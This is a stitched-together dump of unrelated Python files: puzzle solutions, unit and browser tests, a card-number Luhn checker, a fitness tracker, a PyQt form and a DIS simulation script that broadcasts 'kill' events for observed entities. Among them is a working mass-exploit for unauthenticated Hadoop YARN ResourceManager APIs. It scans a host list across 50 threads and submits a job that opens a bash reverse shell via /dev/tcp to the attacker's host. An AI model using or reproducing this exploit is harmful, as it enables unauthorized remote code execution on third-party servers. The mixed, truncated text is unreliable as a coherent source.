    except:
        print('!!!!!!!!!E R R O R!!!!!!!!!!')
        print('Ingrese valores numerorico unicamente')


my_score = 0

with open('input.txt') as f:
    games = f.read().split('\n')
    for game in games:
        opponent_choice = game.split(' ')[0]
        my_choice = game.split(' ')[1]
        if opponent_choice == 'A' and my_choice == 'X':
            my_score += 4
        elif opponent_choice == 'A' and my_choice == 'Y':
            my_score += 8
        elif opponent_choice == 'A' and my_choice == 'Z':
            my_score += 3
        elif opponent_choice == 'B' and my_choice == 'X':
            my_score += 1
        elif opponent_choice == 'B' and my_choice == 'Y':
            my_score += 5
        elif opponent_choice == 'B' and my_choice == 'Z':
            my_score += 9
        elif opponent_choice == 'C' and my_choice == 'X':
            my_score += 7
        elif opponent_choice == 'C' and my_choice == 'Y':
            my_score += 2
        elif opponent_choice == 'C' and my_choice == 'Z':
            my_score += 6
        else:
            print("A combination has been missed")

print(my_score)

"""
A = rock
B = paper
C = scissors

X = rock = 1
Y = paper = 2
Z = scissors = 3

win = 6
draw = 3
loss = 0

"""


import random
from typing import Dict, Union

from transtool.checks.base.check import Check
from transtool.checks.missing_translations import MissingTranslations
from transtool.decorators.overrides import overrides
from transtool.prop.items import Comment
from tests.checks.checks_test_case import ChecksTestCase

class TestMissingTranslations(ChecksTestCase):

    @overrides(ChecksTestCase)
    def get_checker(self, config: Union[Dict, None] = None) -> Check:
        return MissingTranslations(config)

    # #################################################################################################

    def test_no_faults(self) -> None:
        # generate some keys for translation file
        cnt_min = 20
        cnt_max = 40
        keys = [self.get_random_string('key') for _ in range(random.randint(cnt_min, cnt_max))]
        ref_file = self.build_propfile(keys)
        trans_file = self.build_propfile(keys)
        self.check(trans_file, ref_file)

    def test_translation_with_keys_in_comments(self) -> None:
        """
        Checks if we have no issues reported when running in non-strict mode and having some translation
        keys in commented-out form, like:
        # ==> KEY =
        """
        # Generate some keys for reference file.
        cnt_min = 10
        cnt_max = 15
        ref_keys = [self.get_random_string('key') for _ in range(random.randint(cnt_min, cnt_max))]

        # have less keys for translation file
        how_many_less = random.randint(1, cnt_min - 1)
        trans_keys = ref_keys[:(how_many_less * -1)]

        ref_file = self.build_propfile(ref_keys)
        trans_file = self.build_propfile(trans_keys)

        # Put remaining keys into comments.
        remaining_keys = ref_keys[(how_many_less * -1):]
        for key in remaining_keys:
            if random.randint(0, 1) == 0:
                comment = Comment.get_commented_out_key_comment(self.config, key)
            else:
                val = self.get_random_string('translation')
                comment = Comment.get_commented_out_key_comment(self.config, key, val)
            trans_file.append(comment)

        # We expect no issues in non-strict mode
        self.checker.config['strict'] = False
        self.check(trans_file, ref_file)

        # We expect warnings in strict mode
        self.checker.config['strict'] = True
        self.check(trans_file, ref_file, exp_warnings = len(remaining_keys))

    def test_translation_with_faults(self) -> None:
        # generate some keys for reference file
        cnt_min = 20
        cnt_max = 40
        ref_keys = [self.get_random_string('key') for _ in range(random.randint(cnt_min, cnt_max))]

        # have less keys for translation file
        how_many_less = random.randint(1, cnt_min - 1)
        trans_keys = ref_keys[:(how_many_less * -1)]

        ref_file = self.build_propfile(ref_keys)
        trans_file = self.build_propfile(trans_keys)
        self.check(trans_file, ref_file, exp_warnings = how_many_less)

    # #################################################################################################

    def test_handling_of_unsupported_types(self) -> None:
        self.check_skipping_blank_and_comment()


import socket

from io import BytesIO

from opendis.DataOutputStream import DataOutputStream
from opendis.dis7 import EventReportPdu, FixedDatum, VariableDatum
from opendis.PduFactory import createPdu

# EXERCISE_ID = 97
# UDP_PORT = 3000
EXERCISE_ID = 99
UDP_PORT = 3000
FILENAME = "test.lzma"

DESTINATION_ADDRESS = "255.255.255.255"
entityids = set()

print("Created UDP socket {}".format(UDP_PORT))

def send(udpSocket, site=0, host=0, num=0):
    if site == 4 and host == 800 and num == 5:
        return None

    pdu = EventReportPdu()  # 1 9681 12
    pdu.receivingEntityID.entityID = num
    pdu.receivingEntityID.applicationID = host
    pdu.receivingEntityID.siteID = site

    fixed_one = FixedDatum()
    fixed_two = FixedDatum()
    fixed_three = FixedDatum()

    fixed_one.fixedDatumID = 15100
    fixed_one.fixedDatumValue = site
    fixed_two.fixedDatumID = 15200
    fixed_two.fixedDatumValue = host
    fixed_three.fixedDatumID = 15300
    fixed_three.fixedDatumValue = num

    variable_one = VariableDatum()
    variable_one.variableDatumID = 0

    pdu.numberOfFixedDatumRecords = 3
    pdu.numberOfVariableDatumRecords = 1

    pdu.fixedDatums = [fixed_one, fixed_two, fixed_three]
    pdu.variableDatums = [variable_one]

    pdu.eventType = 803

    pdu.protocolVersion = 5

    pdu.length = 72
    pdu.exerciseID = EXERCISE_ID

    memoryStream = BytesIO()
    outputStream = DataOutputStream(memoryStream)
    pdu.serialize(outputStream)
    data = memoryStream.getvalue()
    # while True:
    udpSocket.sendto(data, (DESTINATION_ADDRESS, UDP_PORT))
    # print(f"Killed {site} {host} {num}")
    # print("Sent {}. {} bytes".format(pdu.__class__.__name__, len(data)))
    # time.sleep(1)

def receive_pdu(udpSocket, exercise_id):
    """

    :param udp_port: int : port on which dis is transmitted
    :param exercise_id: int
    :return: bytes
    """

    data = udpSocket.recv(4096)

    try:
        current_pdu = createPdu(data)
    except:
        return

    if current_pdu is not None:
        if current_pdu.exerciseID == exercise_id:
            try:
                # entityids.add(current_pdu.entityID)
                if current_pdu.pduType != 1:
                    return
                send(udpSocket, current_pdu.entityID.siteID, current_pdu.entityID.applicationID,
                     current_pdu.entityID.entityID)
                print(f"Killed: {current_pdu.entityID.siteID}, {current_pdu.entityID.applicationID}, {current_pdu.entityID.entityID}, {current_pdu.marking}")
            except AttributeError:
                return

udp_port = 3000
udpSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udpSocket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
udpSocket.bind(("", udp_port))
udpSocket.settimeout(3)  # exit if we get nothing in this many seconds

while True:
    receive_pdu(udpSocket, EXERCISE_ID)


from . import *

def compare_lists(target, res):
    res.sort()
    for index, value in enumerate(target):
        if value != res[index]:
            return False
    return True

@pytest.fixture()
def make_random_range():
    return random.sample(range(1,100), 10)

@pytest.hookimpl(tryfirst=True, hookwrapper=True)
def pytest_runtest_makereport(item, call):
    # 참고 : https://medium.com/hultner/pytest-save-full-error-output-to-file-ee37d6ccbd32
    # execute all other hooks to obtain the report object
    outcome = yield
    rep = outcome.get_result()
    time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    # we only look at actual failing test calls, not setup/teardown
    if rep.when == "call" and rep.failed:
        mode = "a+" if os.path.exists("failures") else "w"
        if mode =='a+':
            with open("failures", "r") as original:
                line = original.read()
            print(line)
            with open("failures", "w") as modified:
                modified.write(time + "\n" + rep.longreprtext+"\n")
                modified.write(line)
        else:
            with open("failures", mode) as f:
                f.write(time + "\n" + rep.longreprtext)
        # with open('filename', 'r') as original:
        #     data = original.read()
        # with open('filename', 'w') as modified:
        #     modified.write("new first line\n" + data)


"""
--- 2015 --- Day 17: No Such Thing as Too Much ---
"""

from itertools import combinations

EXAMPLES1 = (
)

EXAMPLES2 = (
)

INPUT = '17.txt'

def read_data(filename):
    with open(filename) as f:
        return [int(_) for _ in f.readlines()]

def fill(size, containers):
    count = 0
    for number in range(1, len(containers) + 1):
        found_lower = False
        for sol in combinations(range(len(containers)), number):
            sizesol = sum(containers[_] for _ in sol)
            if sizesol == size:
                count += 1
            if sizesol <= size:
                found_lower = True
        if found_lower is False:
            break
    return count

def fill_min(size, containers):
    count = 0
    for number in range(1, len(containers) + 1):
        print(number)
        for sol in combinations(range(len(containers)), number):
            sizesol = sum(containers[_] for _ in sol)
            if sizesol == size:
                count += 1
        if count:
            break
    return count

def code1(containers):
    return fill(150, containers)

def code2(containers):
    return fill_min(150, containers)

def test(n, code, examples, myinput):
    for fn, expected in examples:
        data = read_data(fn)
        result = code(data)
        assert expected is None or result == expected, (data, expected, result)

    print(f'{n}>', code(read_data(myinput)))

test(1, code1, EXAMPLES1, INPUT)
test(2, code2, EXAMPLES2, INPUT)


def validitycheck(cardnum:str):
    if len(cardnum) > 16:
        print("Too Long")
        return False
    elif len(cardnum) < 16:
        print("Too short")
        return False
    else:
        print("Correct Length")
        try:
            int(cardnum)
        except:
            print("CARD NUMBER MUST JUST BE LETTERS")
            return False
        else:
            return True

cardnum = input("Enter Card Number: ")

while validitycheck(cardnum) != True:
    cardnum = input("Enter Card Number: ")

pan = cardnum[6:15]
checksum = cardnum[-1]

def issuercheck(cardnum):
    leading2 = cardnum[0:2]
    if leading2[0] == "4":
        return "VISA"
    elif leading2 == "34" or leading2 == "37":
        return "AMEX"
    elif int(leading2) in range(51, 56):
        return "MASTERCARD"
    elif leading2[0] == "3":
        return "JCB"
    else:
        return -1

while issuercheck(cardnum) == -1:
    print("Invalid issuer")
    cardnum = input("Enter Card Number: ")

issueresult = issuercheck(cardnum)

def checkLuhn(cardNo):
    nDigits = len(cardNo)
    nSum = 0
    isSecond = False

    for i in range(nDigits - 1, -1, -1):
        d = ord(cardNo[i]) - ord('0')

        if (isSecond == True):
            d = d * 2

        # We add two digits to handle
        # cases that make two digits after
        # doubling
        nSum += d // 10
        nSum += d % 10

        isSecond = not isSecond

    if (nSum % 10 == 0):
        return True
    else:
        return False

if checkLuhn(cardnum):
    print("Card is Valid")
    print(f"Issuer is {issueresult}")
else:
    print("Card is Invalid - Issuer Type False")


#!/usr/bin/python3
# -*- coding:utf-8 -*-
# author:ADummy
# from:https://github.com/ADummmy/exploits

import sys
import requests
import csv
from concurrent.futures import ThreadPoolExecutor

if len(sys.argv) != 4:
    print(
        '+----------------------------------------------------------------------------------------------------------+')
    print(
        '+ DES: by ADummy as https://github.com/ADummmy/exploits                                                    +')
    print(
        '+----------------------------------------------------------------------------------------------------------+')
    print(
        '+ USE: python3 <filename> <hosts> <lhost> <lport>                                                          +')
    print(
        '+ EXP: python3 Nexus_weakpasswd.py url.txt 255.255.255.255 9999                                            +')
    print(
        '+----------------------------------------------------------------------------------------------------------+')
    sys.exit()
def poc(host,lhost,lport):
    host1 = "http://" + host
    url1 = host1 + '/ws/v1/cluster/apps/new-application'
    url2 = host1 + '/ws/v1/cluster/apps'
    try:
        r1 = requests.post(url1,timeout=5)
        if r1.status_code !=200:
            print(host + ": false")
            return
        app_id = r1.json()['application-id']
        data = {
            'application-id': app_id,
            'application-name': 'get-shell',
            'am-container-spec': {
                'commands': {
                    'command': '/bin/bash -i >& /dev/tcp/%s/%s 0>&1' % (lhost,lport)
                },
            },
            'application-type': 'YARN',
        }

        r2 = requests.post(url2,timeout=5, json=data)
        if r2.status_code !=202:
            print(host + ": false")
            return
        print (host+": true!!! waitting your shell")
    except requests.exceptions.RequestException as e:
        print (host+": false")

if __name__ == '__main__':
    file = sys.argv[1]
    lhost = sys.argv[2]
    lport = sys.argv[3]
    data = open(file)
    reader = csv.reader(data)
    with ThreadPoolExecutor(50) as pool:
        for row in reader:
            pool.submit(poc, row[0],lhost,lport)


"""
Модуль фитнес-трекера, который производит расчет параметров тренирвоаки.

- Базовый класс тренировки Training
- Датакласс InfoMessage вызывается в методе базового класса Training.
"""
from dataclasses import dataclass, asdict

@dataclass
class InfoMessage:
    """
    Датакласс информационного сообщение о тренировке. Поля
    training_type: str, duration: float, distance: float,
    speed: float, calories: float.
    В единственном методе get_message() используется метод asdict для
    распаковки информации о тренировке в шаблон константы MESSAGE.
    """

    training_type: str
    duration: float
    distance: float
    speed: float
    calories: float
    MESSAGE = (
        "Тип тренировки: {}; "
        "Длительность: {:.3f} ч.; "
        "Дистанция: {:.3f} км; "
        "Ср. скорость: {:.3f} км/ч; "
        "Потрачено ккал: {:.3f}."
    )

    def get_message(self) -> None:
        t = asdict(self)
        return self.MESSAGE.format(*t.values())

class Training:
    """
    Базовый класс тренировки. От него наследуются все классы разных типов
    тренировки. Здесь определены методы расчета калорий для класса Running
    """

    M_IN_KM: int = 1000  # для перевода м в км. Длинна шага задана в м.
    LEN_STEP: float = 0.65  # задаем длинну шага
    MIN_IN_H: int = 60  # для перевода

    def __init__(self, action: int, duration: float, weight: float) -> None:
        self.action = action
        self.duration = duration
        self.weight = weight

    def get_distance(self) -> float:
        """
        Метод для расчета дистанции. Количество действий умножается на длунну
        в метрах и переводится в километры делением на 1000.
        """
        return self.action * self.LEN_STEP / self.M_IN_KM

    def get_mean_speed(self) -> float:
        """
        Получить среднюю скорость движения.
        Метод для расчета дистанции. Количество действий умножается на длунну
        в метрах и переводится в километры делением на 1000.
        """
        return self.get_distance() / self.duration

    def get_spent_calories(self) -> float:
        """Получить количество затраченных калорий."""
        raise NotImplementedError(
            "Определите get_spent_calories в %s." % (self.__class__.__name__)
        )

    def show_training_info(self) -> InfoMessage:
        """
        Метод возвращает объект датакласса InfoMessage путем вызова
        методов расчета.
        """
        return InfoMessage(
            type(self).__name__,
            self.duration,
            self.get_distance(),
            self.get_mean_speed(),
            self.get_spent_calories(),
        )

class Running(Training):
    """Тренировка: бег."""
    # константы для формулы
    first_coef: int = 18
    second_coef: int = 20

    def get_spent_calories(self) -> float:
        """
        Функция расчитывает количество потраченных калорий для бега.
        """
        return (
            (self.first_coef * self.get_mean_speed() - self.second_coef)
            * self.weight
            / self.M_IN_KM
            * self.duration
            * self.MIN_IN_H
        )

class SportsWalking(Training):
    """Тренировка: спортивная ходьба."""

    first_coef: float = 0.035
    second_coef: int = 2
    thrid_coef: float = 0.029

    def __init__(self, action: int, duration: float, weight: float, height: float):
        super().__init__(action, duration, weight)
        self.height = height

    def get_spent_calories(self) -> float:
        return (
            (
                self.first_coef * self.weight
                + (self.get_mean_speed() ** self.second_coef // self.height)
                * self.thrid_coef
                * self.weight
            )
            * self.duration
            * self.MIN_IN_H
        )

class Swimming(Training):
    """Тренировка: плавание."""

    LEN_STEP = 1.38
    first_coef: float = 1.1
    second_coef: int = 2

    def __init__(
        self,
        action: int,
        duration: float,
        weight: float,
        length_pool: float,
        count_pool: float,
    ):
        super().__init__(action, duration, weight)
        self.lenght_pool = length_pool
        self.count_pool = count_pool

    def get_mean_speed(self) -> float:
        return self.lenght_pool * self.count_pool / self.M_IN_KM / self.duration

    def get_spent_calories(self) -> float:
        return (
            (self.get_mean_speed() + self.first_coef) * self.second_coef * self.weight
        )

def read_package(workout_type: str, data: list) -> Training:
    """
    Метод для считывания данных тренировки.
    Ввод: тип тренирвки (например: SWM), список параметров трениеровки.
    Вывод: Ищется тип тренировки. Тип тренировки ключ-строка для нужного класса
    из словаря parameters_train. Создается экземпляр путем распаковки данных
    тренировки в выбранный класс.

    """
    parameters_train = {"SWM": Swimming, "RUN": Running, "WLK": SportsWalking}
    if workout_type in parameters_train:
        return parameters_train[workout_type](*data)
    else:
        raise ValueError("Тренировка не найдена")

def output(training: Training) -> None:
    """
    Главная функция. Метод show_training_info() есть у базового класса
    тренировки. Он вернет экземпляр класса InfoMessage. А метод get_message()
    вернет строку с подставленными данными тренировки.
    """
    message_train = training.show_training_info()  # экземпляр InfoMessage
    print(message_train.get_message())  # печатаем сообщение встроенным методом

def main():
    # данные для тестирования программы локально.
    packages = [
        ("SWM", [720, 1, 80, 25, 40]),  # передаем валидные данные для плавания
        ("RUN", [15000, 1, 75]),  # передаем валидные данные для бега
        ("WLK", [9000, 1, 75, 180]),  # передаем валидные данные для ходьбы
        ("WRK", [9000, 1, 75, 180]),  # передаем невалидный код тренировки
        ("WLK", [0, 1, 75, 180]),  # передаем нулевое значение движений
        ([9000, 1, 75, 180]),  # не передаем тип тренировки
        ("WLK", [1, 75, 180]),  # передаем неправильное количество параметров
    ]

    for i in range(len(packages)):
        if len(packages[i]) == 2:
            workout_type = packages[i][0]
            data = packages[i][1]
            if packages[i][1][0] > 0:
                try:
                    # создаем экземпляр с переданнми данными тренировки
                    training = read_package(workout_type, data)
                    #  передаем экземпляр тренировки в функцию-выведет
                    output(training)
                except (ValueError, TypeError):
                    print("Не определен тип тренировки")
                except ZeroDivisionError:
                    print("Датчики не исправны")
            else:
                print("Вы еще не начали тренироваться=)")
        else:
            print("Не определен тип тренировки или датчики неисправны")

if __name__ == "__main__":
    main()


from camerafile.core.MediaFile import MediaFile
from camerafile.processor.BatchTool import BatchElement
from camerafile.core.Constants import SIGNATURE
from camerafile.core.Logging import Logger
from camerafile.core.MediaSet import MediaSet
from camerafile.core.OutputDirectory import OutputDirectory
from camerafile.processor.CFMBatch import CFMBatch
from camerafile.task.ComputeSignature import ComputeSignature

LOGGER = Logger(__name__)

class BatchComputeNecessarySignaturesMultiProcess(CFMBatch):

    def __init__(self, media_set: MediaSet, media_set2: MediaSet = None):
        self.media_set = media_set
        self.media_set2 = media_set2
        if media_set2 is None:
            CFMBatch.__init__(self, batch_title="Compute necessary signatures in order to detect duplicates",
                              stderr_file=OutputDirectory.get(self.media_set.root_path).batch_stderr,
                              stdout_file=OutputDirectory.get(self.media_set.root_path).batch_stdout)

        else:
            CFMBatch.__init__(self, batch_title="Compute necessary signatures in order to compare 2 mediasets",
                              stderr_file=OutputDirectory.get(self.media_set.root_path).batch_stderr,
                              stdout_file=OutputDirectory.get(self.media_set.root_path).batch_stdout)

    def initialize(self):
        LOGGER.write_title(self.media_set, self.update_title())

    def task_getter(self):
        return ComputeSignature.execute

    def arguments(self):
        args_list = []
        file_list_1 = self.media_set.get_possibly_duplicates()
        file_list_2 = []
        file_list_3 = []
        if self.media_set2 is not None:
            file_list_2 = self.media_set2.get_possibly_duplicates()
            file_list_3 = self.media_set.get_possibly_already_exists(self.media_set2)

        # Optimization: in file_list_2, inutile d'ajouter les dupliqués potentiels dont
        # le nom de fichier est déjà dans dans file_list_1 ?
        media: MediaFile
        for media in file_list_1 + file_list_2 + file_list_3:
            if media.metadata[SIGNATURE].value is None:
                args = (media.parent_set.root_path, media.file_desc, media.metadata[SIGNATURE])
                args_list.append(BatchElement(args, media.get_path()))
        return args_list

    def post_task(self, result, progress_bar, replace=False):
        media_id, result_signature_metadata = result
        for media_set in [self.media_set, self.media_set2]:
            if media_set is not None:
                original_media = media_set.get_media(media_id)
                if original_media is not None:
                    original_media.metadata[SIGNATURE] = result_signature_metadata
                    original_media.parent_set.add_to_date_sig_map(original_media)
        progress_bar.increment()

    def finalize(self):
        self.media_set.propagate_sig_to_duplicates()
        if self.media_set2 is not None:
            self.media_set2.propagate_sig_to_duplicates()

        # in case new duplicates have been found because of new computed signatures
        self.media_set.propagate_cm_to_duplicates()
        if self.media_set2 is not None:
            self.media_set2.propagate_cm_to_duplicates()


class TrieNode:
    def __init__(self):
        self.leaves = {}
        self.end_of_word = False

class WordDictionary(object):

    def __init__(self):
        """
        Initialize your data structure here.
        """
        self.trie = TrieNode()

    def addWord(self, word):
        """
        Adds a word into the data structure.
        :type word: str
        :rtype: None
        """
        curr = self.trie
        for ch in word:
            # if the re is no such nodes in a Trie
            if ch not in curr.leaves:
                curr.leaves[ch] = TrieNode()
            curr = curr.leaves[ch]
        curr.end_of_word = True

    def search(self, word):
        """
        Returns if the word is in the data structure. A word could contain the dot character '.' to represent any one letter.
        :type word: str
        :rtype: bool
        """
        curr = self.trie
        return self.dfs(word, curr)

    def dfs(self, word, curr):
        for i, ch in enumerate(word):
            if ch != "." and ch not in curr.leaves:
                return False
            if ch in curr.leaves:
                return self.dfs(word[i+1:], curr.leaves[ch])
            elif ch == "." :
                for k in curr.leaves:
                    if self.dfs(word[i+1:], curr.leaves[k]):
                        return True
                return False
        return curr.end_of_word


# Find sum element in list

# Method1: using for loop with range()

mylist = [5,10,20]

total=0
l = len(mylist)

for i in range(0,l):
    total = total+mylist[i]
print(total)

print(sum(mylist))


from PyQt5.QtWidgets import *
import sys

class Window(QWidget):
    def __init__(self):
        QWidget.__init__(self)
        self.setWindowTitle("LIN Messages")
        self.setGeometry(200, 200, 500, 300)
        self.setFixedSize(820, 320)
        self.show()
        self.NAD()

    def NAD(self):
        layout = QGridLayout()
        self.setLayout(layout)

        groupbox= QGroupBox("LIN Master frame Request (0X3C)")  # groupbox = QGroupBox(title)
        # groupbox.setCheckable(True)#his permits all child CheckBox or RadioButton widgets to be made sensitive or insenstive
        layout.addWidget(groupbox)

        # QHBoxLayout and QVBoxLayout classes that line up widgets horizontally and vertically.
        Hbox = QHBoxLayout()
        groupbox.setLayout(Hbox)

        self.lineedit=QLineEdit()
        Hbox.addWidget(self.lineedit)

        self.lineedit1 = QLineEdit()
        Hbox.addWidget(self.lineedit1)

        self.lineedit2 = QLineEdit()
        Hbox.addWidget(self.lineedit2)

        self.lineedit3 = QLineEdit()
        Hbox.addWidget(self.lineedit3)

        self.lineedit4= QLineEdit()
        Hbox.addWidget(self.lineedit4)

        self.lineedit5 = QLineEdit()
        Hbox.addWidget(self.lineedit5)

        self.lineedit6 = QLineEdit()
        Hbox.addWidget(self.lineedit6)

        self.lineedit7 = QLineEdit()
        Hbox.addWidget(self.lineedit7)

        button=QPushButton("Send")
        button.setToolTip("If you click this it will close this Window ")
        button.clicked.connect(self.send_msg)
        Hbox.addWidget(button)

        button = QPushButton("Exit")
        button.setToolTip("If you click this it will close this Window ")
        button.clicked.connect(self.exit_from_app)
        # button.setFlat(True)
        layout.addWidget(button, 1, 0)

    def exit_from_app(self):
        print("you clicked Exit Button\nIf you want to run again please press F5!@#")
        self.close()

    def return_pressed(self):
        print("His name is:", self.lineedit1.text())

    def send_msg(self):
        print(self.lineedit.text(),"",self.lineedit1.text(),"",self.lineedit2.text(),"",self.lineedit3.text(),"",self.lineedit4.text(),"",self.lineedit5.text(),"",self.lineedit6.text(),"",self.lineedit7.text())

app = QApplication(sys.argv)

screen = Window()
screen.show()

sys.exit(app.exec_())


"""
Main integrations test
"""
import asyncio
import json

import pytest
from selenium.webdriver.common.keys import Keys

@pytest.mark.async_test
async def test_click_output(start_page, browser):
    from tests.apps.pages.click_output import page

    await start_page(page)

    clicker = await browser.wait_for_element_by_id('clicker')

    for i in range(1, 25):
        clicker.click()

        await browser.wait_for_text_to_equal('#output', f'Clicked {i}')
        await browser.wait_for_style_to_equal(
            '#output', 'background-color',
            'rgba(255, 0, 0, 1)' if i % 2 == 1 else 'rgba(0, 0, 255, 1)'
        )

@pytest.mark.async_test
async def test_multi_page(start_visit, browser):
    from tests.apps.multi_page import app

    await start_visit(app)

    for num in ('one', 'two', 'three', 'four'):
        await browser.get(f'http://localhost:8150/{num}')
        await browser.wait_for_text_to_equal('#content', f'Page {num}')

@pytest.mark.async_test
async def test_binding_return_component(start_visit, browser):
    # Bindings can return components successfully.
    from tests.apps.binding_return_component import app

    await start_visit(app)

    await browser.get('http://localhost:8150/')

    await browser.click('#clicker')
    await browser.wait_for_text_to_equal('#from-binding', 'from binding')

@pytest.mark.async_test
async def test_layout_as_function(start_visit, browser):
    # Functions can be used as layout to be evaluated on page request.
    from tests.apps.layout_as_function import app

    await start_visit(app)

    await browser.get('http://localhost:8150')
    await browser.wait_for_text_to_equal('#layout', 'Layout as function')

@pytest.mark.async_test
async def test_generated_component_trigger_binding(start_visit, browser):
    # A component not in the initial layout can trigger other binding.
    from tests.apps.generated_component_trigger_binding import app

    await start_visit(app)

    await browser.click('#click')
    await browser.click('#generated')

    await browser.wait_for_text_to_equal('#output2', 'Generated')

@pytest.mark.async_test
async def test_click_with_state(start_page, browser):
    from tests.apps.pages.click_output import page

    await start_page(page)

    dropdown = await browser.wait_for_element_by_css_selector(
        '#dropdown input'
    )

    dropdown.send_keys('Foo')
    await browser.click('#clicker')

    await browser.wait_for_text_to_equal('#datalist-output', 'Data foo')

@pytest.mark.async_test
async def test_bindings_continue_after_error(start_visit, browser):
    from tests.apps.bindings_continue_after_error import app
    await start_visit(app)

    clicker = await browser.wait_for_element_by_id('click')
    clicker_err = await browser.wait_for_element_by_id('click-error')

    clicker.click()

    await browser.wait_for_text_to_equal('#output', 'Clicked 1')

    clicker_err.click()
    clicker.click()

    await browser.wait_for_text_to_equal('#output', 'Clicked 2')

    # FIXME Bug with caplog and the logger not working.
    # _, err = capsys.readouterr()
    # BUG with something. err is '' yet it is printed.
    # assert 'Clicked error' in err

@pytest.mark.async_test
async def test_aspect_rendering(start_visit, browser):
    from tests.apps import aspect_rendering

    app = aspect_rendering.app
    types = aspect_rendering.aspect_types

    await start_visit(app)

    for name, aspect in types.items():
        await browser.click(f'#set-{name}')
        expected = aspect['value']
        if aspect.get('json'):
            expected = json.dumps(expected, separators=(',', ':'))
        else:
            expected = str(expected)

        await browser.wait_for_text_to_equal(f'#spec-output .{name}', expected)

@pytest.mark.async_test
async def test_binding_set_aspect_trigger_error(start_page, browser):
    # Setting the aspect that triggered should raise an error
    from tests.apps.pages.binding_set_aspect_trigger_error import page

    await start_page(page)

    await browser.click('#click-error')

    # Use a output container to assert the error was raised instead.
    expected = 'Setting the same aspect that triggered: click-error.clicks'
    await browser.wait_for_text_to_equal('#error-output', expected)

@pytest.mark.async_test
async def test_trigger_on_removed_component(start_page, browser):
    from tests.apps.pages.trigger_on_removed_component import page

    await start_page(page)

    setter = await browser.wait_for_element_by_id('setter')
    remover = await browser.wait_for_element_by_id('remover')

    setter.click()

    await browser.wait_for_text_to_equal('#set-me', 'set')
    remover.click()
    await browser.wait_for_text_to_equal('#remove-inner', 'removed 1')
    setter.click()
    await browser.wait_for_text_to_equal('#done', 'done 2')

    # Can continue after error. Maybe add a specific error later.
    remover.click()
    await browser.wait_for_text_to_equal('#remove-inner', 'removed 2')

@pytest.mark.async_test
async def test_binding_chain(start_page, browser):
    # Updating an aspect from the backend should trigger
    # other connected bindings. (trigger-1 -> n bindings -> output)
    from tests.apps.pages.binding_chain import page
    await start_page(page)

    await browser.click('#trigger-1')

    await browser.wait_for_text_to_equal('#output', 'output generated')

@pytest.mark.async_test
async def test_binding_tree(start_page, browser):
    # This ensure that updates are not handled synchronously
    # in the order they come in and waited until the first one completes.
    from tests.apps.pages.binding_tree import page
    await start_page(page)

    await browser.click('#trigger')

    await browser.wait_for_text_to_equal('#done', 'done')
    output = json.loads((await browser.wait_for_element_by_id('output')).text)
    assert sum(output) == sum(range(1, 11))

@pytest.mark.async_test
async def test_dev_requirements(start_page, browser):
    # Make sure the dev requirements are served on page load when debug.
    from tests.apps.pages.click_output import page

    await start_page(page, debug=True)

    await browser.wait_for_element_by_xpath(
        '//script[@src="/dazzler/requirements/'
        'static/dev/react-17-0-2.development.js"]'
    )
    await browser.wait_for_element_by_xpath(
        '//script[contains(@src, '
        '"/dazzler/requirements/static/dazzler_core/dev/dazzler_core")]'
    )

@pytest.mark.async_test
async def test_initial_trigger(start_page, browser):
    from tests.apps.pages.initial_trigger import page

    await start_page(page)

    await browser.wait_for_text_to_equal(
        '#output', 'Input 10'
    )
    await browser.wait_for_text_to_equal(
        '#state-output', 'State 88'
    )

@pytest.mark.async_test
async def test_get_aspect(start_page, browser):
    from tests.apps.pages.get_aspect import page

    await start_page(page)

    await browser.click('#starter')
    await browser.click('#updater')

    await browser.wait_for_text_to_equal(
        '#done', 'done', timeout=30
    )

    result = json.loads(
        (await browser.wait_for_element_by_id('done-output')).text
    )

    assert sum(result) == sum(range(101))

@pytest.mark.async_test
async def test_get_aspect_error(start_page, browser):
    from tests.apps.pages.get_aspect_error import page

    await start_page(page)

    await browser.click('#click-error')

    await browser.wait_for_text_to_equal(
        '#error-output', 'Aspect not found invalid.error'
    )

@pytest.mark.async_test
async def test_component_as_trigger(start_page, browser):
    from tests.apps.pages.component_as_trigger import page

    await start_page(page)

    await browser.wait_for_text_to_equal(
        '#output', 'From component: from children'
    )

    await browser.wait_for_text_to_equal('#array-output', 'Sum: 45')

    nested = json.loads(
        (await browser.wait_for_element_by_id('nested-output')).text
    )

    assert nested['len'] == 2
    assert nested['insider'] == 'inside html div'
    assert nested['as_prop'] == 'attribute'

    (await browser.wait_for_element_by_id('get-aspect-trigger')).click()

    await asyncio.sleep(0.1)
    output = json.loads(
        (await browser.wait_for_element_by_id('get-aspect-output')).text
    )

    assert output['get-aspect'] == 'input-value'
    assert output['state'] == 4747

@pytest.mark.async_test
async def test_binding_return_trigger(start_page, browser):
    # This test that returned components can trigger bindings.
    from tests.apps.pages.binding_return_trigger import page

    await start_page(page)

    for i in range(1, 25):
        await browser.click('#click')
        await browser.wait_for_text_to_equal(
            '#trigger-output', f'from click {i}'
        )

@pytest.mark.skip(
    'FIXME Same identity bug #53'
)
@pytest.mark.async_test
async def test_same_identity(start_page, browser):
    # There is bug which you cannot set component with same identity as root.
    # but contained children works as per test_binding_return_trigger.
    # So setting the children aspect with the same component but updated values
    # doesn't work.
    from tests.apps.pages.same_identity import page

    await start_page(page)

    for _ in range(1, 25):
        clicker = await browser.wait_for_element_by_id('click')
        clicker.click()

        await browser.wait_for_property_to_equal('#same', 'value', 1)

@pytest.mark.async_test
async def test_component_as_aspect(start_page, browser):
    from tests.apps.pages.component_as_aspect import page

    await start_page(page)

    (await browser.wait_for_element_by_id('click-sum')).click()
    await browser.wait_for_text_to_equal('#sum-output', 'Sum 45')

    for i in range(1, 12):
        component = await browser.wait_for_element_by_id(f'array-{i}')
        for j in range(25):
            await browser.wait_for_text_to_equal(
                f'#output-array-{i}', f'array-{i} value: {i+j}'
            )
            component.send_keys(Keys.ARROW_UP)

        await browser.wait_for_element_by_id(f'label-{i}')

    for identity in ('single', 'shaped'):
        for i in range(1, 25):
            await browser.click(f'#{identity}')
            await browser.wait_for_text_to_equal(
                f'#{identity}-output', f'Click {identity}: {i}'
            )

@pytest.mark.async_test
async def test_storage(start_page, browser):
    from tests.apps.pages.storage import page

    await start_page(page)

    getter = 'return JSON.parse(window.{}.getItem("data"));'
    local_getter = getter.format('localStorage')
    session_getter = getter.format('sessionStorage')

    for store, getter in zip(
            ['local', 'session'], [local_getter, session_getter]
    ):
        for i in range(1, 25):
            await browser.click(f'#{store}-btn')
            await browser.wait_for_text_to_equal(
